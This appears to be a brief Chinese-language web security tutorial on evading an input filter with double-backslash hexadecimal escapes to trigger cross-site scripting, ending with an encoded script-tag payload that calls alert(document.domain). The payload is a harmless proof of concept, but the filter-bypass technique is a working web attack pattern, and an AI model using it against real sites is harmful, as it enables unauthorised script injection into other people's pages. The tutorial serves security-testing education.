【安全】P 4-18 16进制绕过过滤触发XSS

0x01 16进制介绍

十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个大小不同的数，即逢16进1，其中用A，B，C，D，E，F（字母不区分大小写）这六个字母来分别表示10，11，12，13，14，15。
使用python将字符转换为16进制类型。

0x02 XSS挖掘

构造无害独一字符串，在响应在寻找该字符串。

0x03 双斜杠+16进制绕过

0x04 Payload触发XSS

Payload:

 \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

----E-----N-----D-----
😄如有问题，请各位师傅斧正，你的支持是我最大的动力。